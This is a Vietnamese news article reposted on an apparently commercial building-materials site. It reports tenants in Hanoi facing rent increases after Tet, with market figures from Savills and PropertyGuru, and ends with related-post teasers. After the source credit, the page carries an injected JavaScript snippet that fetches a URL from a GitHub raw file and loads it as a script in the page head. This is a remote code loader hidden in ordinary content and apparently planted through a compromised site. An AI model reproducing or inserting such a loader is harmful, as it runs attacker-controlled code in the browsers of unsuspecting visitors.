Người thuê ‘áp lực’ vì chủ nhà tăng giá căn hộ chung cư
Sau Tết nhiều chủ căn hộ chung cư thông báo tăng giá cho thuê với lí do “phù hợp với mặt bằng chung”, khách thuê không khỏi lo lắng.
Chị Nguyễn Thị Hạnh (quê Thanh Hoá), đang thuê căn hộ chung cư tại Khu Ngoại Giao Đoàn (Bắc Từ Liêm, Hà Nội) cho biết, gia đình chị đang thuê căn hộ 61m2, giá thuê là 9 triệu đồng/tháng, đầy đủ nội thất, hợp đồng 12 tháng. Tuy nhiên, trước Tết gia đình chị đã nhận được thông báo của chủ căn hộ, sau Tết sẽ tăng giá thuê thêm 1 triệu đồng/tháng.
“Vì gia đình cũng đang sinh sống ổn định và quen với môi trường bên khu vực này, nên cũng ngại chuyển nhà. Hơn nữa, bây giờ giá thuê căn hộ chung cư ở đâu cũng cao, để tìm được căn ưng ý, giá thuê phù hợp thì rất khó, nên cũng đành vậy” – Chị Hạnh chia sẻ.
Tương tự, gia đình chị Tâm (quê Nam Định) thuê căn hộ ở khu đô thị mới Dương Nội (Hà Đông, Hà Nội) được hơn 1 năm nay. Căn hộ khoảng 60m2, có giá thuê 7 triệu đồng/tháng. Vừa rồi khi ký lại hợp đồng, chủ căn hộ thông báo tăng giá thuê thêm 500.000 đồng/tháng để “phù hợp với mặt bằng chung”.
Chuyên gia Batdongsan.com.vn nhận định, nguyên nhân dẫn đến sự tăng giá này là do nhiều khách hàng chưa có đủ tiền mua nhà nên sẽ đi thuê, hoặc một số nhóm đi thuê rồi cho thuê lại phục vụ du lịch trong nước, văn phòng làm việc… dẫn đến nhu cầu thuê chung cư tăng, thị trường cho thuê trở nên sôi động hơn.
Trong báo cáo thị trường mới đây, Savills cho biết, giá thuê tất cả hạng căn hộ dịch vụ tại hai thành phố lớn là Hà Nội và TP HCM trong năm 2023 đều tăng theo năm.
Tại Hà Nội, giá thuê căn hộ dịch vụ trong năm 2023 đạt 580.000 đồng mỗi m2 một tháng, tăng 1% theo năm. Tỷ lệ lấp đầy đạt 83%, trong đó hạng A có mức tăng trưởng lớn nhất với 4% theo quý.
Còn tại TP HCM, mức tăng cao nhất thuộc về hạng C với 8%, tiếp theo là hạng B ở mức 5% và hạng A tăng 3%. Giá thuê căn hộ dịch vụ trung bình đạt 516.000 đồng mỗi m2 một tháng, tăng 3% theo năm.
Báo cáo về xu hướng và tâm lý người tiêu dùng bất động sản (CSS) của Công ty PropertyGuru, giá nhà tăng cao cùng tình hình kinh tế khó khăn khiến xu hướng thuê nhà được dự báo gia tăng trong nửa đầu năm 2024.
Trong đó, chung cư là loại hình bất động sản được người thuê quan tâm nhiều nhất (43%), sau đó là nhà riêng (18%) và nhà trọ (18%). Chỉ một bộ phận nhỏ (9%) quan tâm đến nhà phố cho thuê.
Bên cạnh đó, xu hướng đô thị hóa ngày càng cao, khiến thị trường cho thuê trở nên sôi động hơn.
Ông Nguyễn Văn Đính, Chủ tịch Hội Môi giới Bất động sản Việt Nam cho biết: “Nhu cầu cao sẽ kéo theo mức giá thuê tăng lên. Nếu tình trạng nguồn cung dự án mới vẫn khan hiếm khiến giá bán nhà tăng thì người dân sẽ có xu hướng nghe ngóng, chuyển từ mua sang thuê nhiều hơn”.
Nguồn: Doanh nhân và Pháp luật
(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)
Bài viết liên quan
13-10-2026
Sự thay đổi nhiệt độ có làm biến dạng vật liệu xây dựng?
Trong quá trình sử dụng, các công trình xây dựng thường xuyên chịu tác động của môi trường, đặc biệt là sự thay đổi nhiệt độ giữa ngày và đêm hoặc giữa các mùa trong năm. Dưới ảnh hưởng của nắng nóng, mưa lạnh và sự chênh lệch nhiệt độ, nhiều loại vật liệu có […]
05-10-2026
Cấu tạo thanh profile nhôm xingfa có gì đặc biệt?
Trong một hệ cửa nhôm kính, thanh profile đóng vai trò như “bộ khung” quyết định hình dáng, khả năng liên kết và độ ổn định của toàn bộ hệ cửa. Nhôm xingfa được sử dụng phổ biến cho cửa đi, cửa sổ và vách kính nhờ hệ profile được thiết kế theo từng chức […]
28-09-2026
Lựa chọn vật liệu như thế nào để giảm chi phó vận hành công trình?
Chi phí của một công trình không chỉ nằm ở giai đoạn thiết kế và thi công mà còn kèo dài trong suốt quá trình sử dụng. Điện năng cho điều hòa, chiếu sáng, chi phí bảo trì, sửa chữa hay thay thế vật liệu đều có thể trở thành khoản chi đáng kể. Vì […]
09-09-2026
Vật liệu chống cháy được ứng dụng như thế nào trong cửa và vách ngăn?
Trong các công trình hiện đại, cửa và vách ngăn không chỉ có nhiệm vụ phân chia không gian mà còn là những bộ phận quan trọng trong giải pháp an toàn PCCC. Khi được thiết kế và lắp đặt phù hợp, các hệ thống này có thể góp phần hạn chế cháy lan, bảo […]
03-09-2026
Hệ cửa nhôm kính và bài toán cách nhiệt cho công trình
Trong kiến trúc hiện đại, cửa nhôm kính được sử dụng rộng rãi tại nhà ở, biệt thự, văn phòng, khách sạn, trung tâm thương mại và nhiều công trình quy mô lớn. Bên cạnh yếu tố hẩm mỹ và khả năng lấy sáng, hiệu quả cách nhiệt của hệ cửa nhôm kính ngày càng […]
05-08-2026
Đầu tư đúng loại kính giúp công trình bền đẹp hơn
Trong kiến trúc hiện đại, kính không chỉ là vật liệu lấy sáng mà còn góp phần tạo nên giá trị thẩm mỹ, nâng cao hiệu quả sử dụng và tăng tuổi thọ công trình. Tuy nhiên, mỗi loại kính đều có những đặc tính riêng, phù hợp với từng hạng mục khác nhau. Vì […]
